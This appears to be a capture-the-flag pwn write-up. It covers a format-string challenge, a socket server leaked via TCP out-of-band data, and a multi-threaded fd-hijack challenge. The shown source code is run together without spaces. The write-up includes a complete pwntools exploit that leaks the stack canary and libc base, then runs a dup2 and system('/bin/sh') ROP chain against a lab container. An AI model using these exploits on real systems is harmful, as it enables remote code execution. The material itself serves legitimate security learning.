#include<ctype.h>#include<stdio.h>#include<stdlib.h>#include<string.h>intverify_fmt(constchar*fmt,size_tn_args){size_targcnt=0;size_tlen=strlen(fmt);for(size_ti=0;i<len;i++){if(fmt[i]=='%'){if(fmt[i+1]=='%'){i++;continue;}if(isdigit(fmt[i+1])){puts("[-] Positional argument not supported");return1;}if(argcnt>=n_args){printf("[-] Cannot use more than %lu specifiers\n",n_args);return1;}argcnt++;}}return0;}intmain(){size_tn_args;longargs[4];charfmt[256];setbuf(stdin,NULL);setbuf(stdout,NULL);while(1){/* Get arguments */printf("# of args: ");if(scanf("%lu",&n_args)!=1){return1;}if(n_args>4){puts("[-] Maximum of 4 arguments supported");continue;}memset(args,0,sizeof(args));for(size_ti=0;i<n_args;i++){printf("args[%lu]: ",i);if(scanf("%ld",args+i)!=1){return1;}}/* Get format string */while(getchar()!='\n');printf("Format string: ");if(fgets(fmt,sizeof(fmt),stdin)==NULL){return1;}/* Verify format string */if(verify_fmt(fmt,n_args)){continue;}/* Enjoy! */printf(fmt,args[0],args[1],args[2],args[3]);}return0;}
% followed by a number will directly error, but according to
If the number of format strings we give exceeds the limit of 4, it will exit directly.
So we need to use * to increase the offset, and because it is unsigned, we cannot leak forward.
* is a placeholder for extracting parameters. Using a reasonable payload, we can legitimately occupy the args parameters while still ensuring that the number of % and read parameters remains within the limit.
Finally, the program will split and print the content of the format string, up to 4.
You can inject \0 character to bypass the verification, then use hhn to overwrite \0.
The problem is that if you only use %* to pop parameters, our later r9 r10 registers are nil, and the limit on the number of format strings will also make the leaked address nil. Therefore, we need %*c to occupy 6 parameters, so that our last %p can print the stack address pointer.
Based on this, we can write the writing function write_byte(addr,val):
Finally, when writing, we use the leaked stack pointer to point to the return address for writing. Since there is a while loop, we have enough write opportunities; we just need to write one byte at a time to the address.
exp
I don’t know why the local docker can’t connect, even though the libc is pulled from the container.
The key to this problem is how to allow the remote to continue interacting while being able to leak a large amount of data. The socket server built here can only handle one request at a time. The server will send back the data after receiving it.
Let’s briefly look at Computer Networks
The first idea is to use the half-close feature of the TCP protocol. During the four-way handshake, we first send a client-side half-close FIN packet. At this point, the connection is not normally closed, causing the server to return 0 due to MSG_WAITALL and close the cfd. However, under this condition, we would need to close the input packet, and even if we can leak data, we cannot continue interacting.
So this approach is a pass
The second idea is to use interrupt signals. Use OOB (OUT-OF-BAND), when send use urgent byte to trigger the SIGURG signal on the server side. Since this is an asynchronous signal, it will interrupt the recv function, and send will still return data of the same length, and we can still continue interacting!
Interaction and exp
First, let’s talk about how to interact and debug the challenge.
parser.add_argument("mode",type=int,choices=[0,1,2],nargs="?",default=0,help="0=local, 1=local+gdb, 2=remote. (Default: 0)",)parser.add_argument("-T","--threads",type=int,default=None,help="Thread count for remote connections (Overrides 'mode').")args=parser.parse_args()#...deflaunch():globalio,threadsprocess_argv=[filename,str(remote_port)]# 优先处理多线程模式 (如果 -T 被设置)ifargs.threadsisnotNone:ifargs.threads<=0:raiseValueError("Thread count must be positive.")threads=[remote(remote_addr,remote_port,ssl=False)for_inrange(args.threads)]CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")returnthreadselifargs.mode==0:io=process(process_argv)CLEAR_TEXT("[*] Running on local machine (mode 0)")returnioelifargs.mode==1:io=process(process_argv)CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")gdb.attach(io,gdbscript="""
""")returnioelifargs.mode==2:io=remote(remote_addr,remote_port)CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")returnioelse:sys.exit(1)#...if__name__=="__main__":target=launch()# 判断是否为多线程模式ifargs.threadsisnotNone:threads=targetVIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")ifthreads:VIO_TEXT("Entering interactive mode on the first thread for manual control...")main(threads)else:io=targetVIO_TEXT("--- Single Connection Exploit Mode Active ---")io.interactive()
The above is my script. When debugging locally, first open the program and pwndbg, establish an io, then open a new process for connection and interaction.
1
2
python exp_thread.py 1python exp_thread.py -T 1
Then we can interact on the interface opened by pwndbg.
The specific situation is as shown.
After debugging, after we send data and open recv, in the second step we can find the following situation:
The socket uses fd 4 as a fixed interaction handle. If we want to have normal interaction with the target machine after opening a shell, we need to try using dup2 to duplicate the interaction fd handle to stdout (or other stdin, stderr), otherwise there will be no echo, and the system("/bin/sh") performed will directly
importargparseimportsysfrompwnimport*# --------------------------# 1. 命令行参数定义# --------------------------parser=argparse.ArgumentParser(description="Pwn Exploit Script with multi-mode and multi-thread support.")parser.add_argument("mode",type=int,choices=[0,1,2],nargs="?",default=0,help="0=local, 1=local+gdb, 2=remote. (Default: 0)",)parser.add_argument("-T","--threads",type=int,default=None,help="Thread count for remote connections (Overrides 'mode').")args=parser.parse_args()# --- 配置信息 ---filename="./chall"libc_name="./libc.so.6"arch="amd64"remote_addr="172.23.0.2"#NOTE:这里要注意不能用docker的回环地址 remote_port=5000# remote_addr = "localhost" # remote_port = 13337context(log_level="info",os="linux",arch=arch)# 仅在 local/gdb 模式下,且没有使用线程模式时设置 terminalifargs.mode<2andargs.threadsisNone:context.terminal=["tmux","splitw","-h"]elf=ELF(filename,checksec=False)iflibc_name:libc=ELF(libc_name,checksec=False)defVIO_TEXT(x,code=95):returnlog.info(f"\x1b[{code}m{x}\x1b[0m")defCLEAR_TEXT(x,code=32):returnlog.success(f"\x1b[{code}m{x}\x1b[0m")deflaunch():globalio,threadsprocess_argv=[filename,str(remote_port)]# 优先处理多线程模式 (如果 -T 被设置)ifargs.threadsisnotNone:ifargs.threads<=0:raiseValueError("Thread count must be positive.")threads=[remote(remote_addr,remote_port,ssl=False)for_inrange(args.threads)]CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")returnthreadselifargs.mode==0:io=process(process_argv)CLEAR_TEXT("[*] Running on local machine (mode 0)")returnioelifargs.mode==1:io=process(process_argv)CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")gdb.attach(io,gdbscript="""
""")returnioelifargs.mode==2:io=remote(remote_addr,remote_port,ssl=False)CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")returnioelse:sys.exit(1)# 先python 1启动一个终端进行开启进程和gdb调试,然后再在另一个终端进行数据交互defmain(threads):t0:tube# 使用第一个线程进行交互泄漏和攻击 t0=threads[0]t0.sendline(flat(0x180))t0.sock.send(b"A"*2,constants.MSG_OOB)# or # with sock.out_of_band():# sock.send(b"A" * 2)data=t0.recv()canary=int.from_bytes(data[0x108:0x110],"little")libc.address=int.from_bytes(data[0x118:0x120],"little")-0x2a1caCLEAR_TEXT(f"[*] Leaked Canary: {hex(canary)}")CLEAR_TEXT(f"[*] Leaked Libc Base: {hex(libc.address)}")t0.sendline(flat(0x188))VIO_TEXT("[*] Sending ROP payload...")pop_rdi_ret=libc.address+0x000000000010f78bpop_rsi_ret=libc.address+0x0000000000110a7dret_addr=libc.address+0x000000000002882fpayload=flat({0x108-1:canary,0x118-1:pop_rdi_ret,0x120-1:4,#fd 0x128-1:pop_rsi_ret,# 00x138-1:libc.sym['dup2'],0x140-1:pop_rdi_ret,0x148-1:4,0x150-1:pop_rsi_ret,0x158-1:1,0x160-1:libc.sym['dup2'],0x168-1:ret_addr,0x170-1:pop_rdi_ret,0x178-1:libc.search(b"/bin/sh\x00").__next__(),0x180-1:libc.sym['system'],},filler=b"\x00").ljust(0x188,b"\x00")t0.send(payload)t0.sendline(p64(0))t0.interactive()if__name__=="__main__":target=launch()# 判断是否为多线程模式ifargs.threadsisnotNone:threads=targetVIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")ifthreads:VIO_TEXT("Entering interactive mode on the first thread for manual control...")main(threads)else:io=targetVIO_TEXT("--- Single Connection Exploit Mode Active ---")main([io])# Wrap io in a list to match the threads parameterio.interactive()
tips:
It should be noted that when we want to interact with the docker target machine, we cannot use the loopback address lo, but must use the local mapped docker internal network IP. The reason is that when using OOB, docker does two things when mapping ports:
Set iptables rules: Direct traffic from the host port to the Docker bridge network.
Start docker-proxy process: docker-proxy or similar components (such as userland-proxy) run on the host, listening on the host port and forwarding traffic to the container’s internal IP and port.
If we start the loopback address lo, the kernel will find that the target address is 127.0.0.1, which may optimize TCP frames, skip checksums, etc. The data will not go through the normal application -> transport -> network -> link layer, but will be captured at the network layer. docker-proxy, when processing loopback traffic, will not fully maintain TCP frames and flags, thus causing the OOB attack to fail when setting the URG pointer due to optimization of TCP frame flags, and failing to trigger the recv interrupt and leak data. Therefore, we must use the Docker bridge network interface.
day2
pwn
Stack_Impromptu
The world impossible is not in my dictionary
analysis
All protections enabled.
First, audit the source code.
main.cpp:
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<netinet/in.h>#include<sys/socket.h>#include<sys/types.h>#include<unistd.h>#include<pthread.h>voidfatal(constchar*msg){perror(msg);pthread_exit(NULL);}intserver_read(int&fd){size_tsize;charbuf[0x40];memset(buf,0,sizeof(buf));if(read(fd,&size,sizeof(size))!=sizeof(size)||size>0x100||read(fd,buf,size)<size)gotoerr;write(fd,buf,size);return0;err:close(fd);fatal("Could not receive data (read)");return1;}void*server_main(void*arg){intfd=(int)((intptr_t)arg);while(server_read(fd)==0);returnNULL;}intmain(intargc,char**argv){pthread_tth;structsockaddr_incli,addr={0};socklen_tclen;intcfd,sfd=-1,yes=1;unsignedshortport=argc<2?31337:atoi(argv[1]);if((sfd=socket(AF_INET,SOCK_STREAM,0))<0){perror("socket");gotoerr;}if(setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes))<0){perror("setsockopt(SO_REUSEADDR)");gotoerr;}addr.sin_family=AF_INET;addr.sin_addr.s_addr=htonl(INADDR_ANY);addr.sin_port=htons(port);if(bind(sfd,(structsockaddr*)&addr,sizeof(addr))<0){perror("bind");gotoerr;}if(listen(sfd,5)<0){perror("listen");gotoerr;}while(1){clen=sizeof(cli);if((cfd=accept(sfd,(structsockaddr*)&cli,&clen))<0){perror("accept");gotoerr;}pthread_create(&th,NULL,server_main,(void*)((intptr_t)cfd));pthread_detach(th);}return0;err:if(sfd>=0)close(sfd);return1;}
When a new connection cfd is created, it will normally call pthread_create, and after use, reclaim it with pthread_detach.
Obviously, this is a multi-threaded challenge. We cannot directly attempt to leak any memory content in one thread. The key lies in server_main and server_read.
intserver_read(int&fd){size_tsize;charbuf[0x40];memset(buf,0,sizeof(buf));if(read(fd,&size,sizeof(size))!=sizeof(size)||size>0x100||read(fd,buf,size)<size)gotoerr;write(fd,buf,size);return0;err:close(fd);fatal("Could not receive data (read)");return1;}void*server_main(void*arg){intfd=(int)((intptr_t)arg);while(server_read(fd)==0);returnNULL;}
server_read has a stack overflow and will be called continuously, but unlike the previous problem, this one does not have MSG_WAITALL to allow us to use interrupt signals to leak information.
Pthread multi-threading: all threads run in the same process space and share global variables, heap space, file descriptors. Each thread only has its own independent stack!
Pthread has vulnerabilities. Due to memory sharing, an overflow in one thread can tamper with data of other threads, leading to control of the entire process or a crash.
During the competition, I had no idea for this problem. Strict requirements on input format and data size made it unclear how to achieve a leak. AI only suggested trying to use data to overwrite memory space of other threads, and multi-thread debugging is not simple, mainly considering interaction timing issues.
Fortunately, after the competition, I saw a hint from a master in Discord who solved it:
So how exactly to swap fd…? —>We have pthread, right?
If we can overwrite the fd of a specific thread through multi-threading, achieving fd hijacking, can we then copy fd and redirect output, finally leaking memory information?
fd hijack
Let’s first try using two threads to see if we can indeed hijack fd. Create two threads.
Check the stack bottom in thread stack 2. The actual space is as shown above; we have plenty of space to overwrite fd.
Since the extracted qword pointer at [rbp-0x68] is resolved to the stored fd, we actually need to write 0 at offset 0x7c to finally overwrite fd.
Thus, when close is called, it actually closes the fd of process 1.
Bypassing blocking
Since we actually closed thread 2, when allocating again, it still allocates to thread 2’s fd, not reusing 4.
Therefore, before attempting to leak data, we must create 4 threads, so that eventually two threads reuse fd.
Leak
Here we need to use a TCP reset attack
method.
Since we obtain fd=4 again, but the originally created thread is still not closed, it will directly send an RST packet to the peer to force close the connection. At that moment, the fourth thread will take over fd=4 again (very short time), effectively achieving:
TCP connection recovery. At this point, for the server that established the connection, it recovers the first thread’s connection, and because we overwrote thread 4’s fd=1, it sends stack data to thread 4’s fd=1, thus achieving a leak.
ROP
After that, how to exploit the overflow for ROP and how to interact? The idea is similar to above:
Create threads, use overwrite to close one fd.
Create threads again, now we can get the needed fd and corresponding thread control.
Interact via standard input/output, thus we basically obtain a remote shell.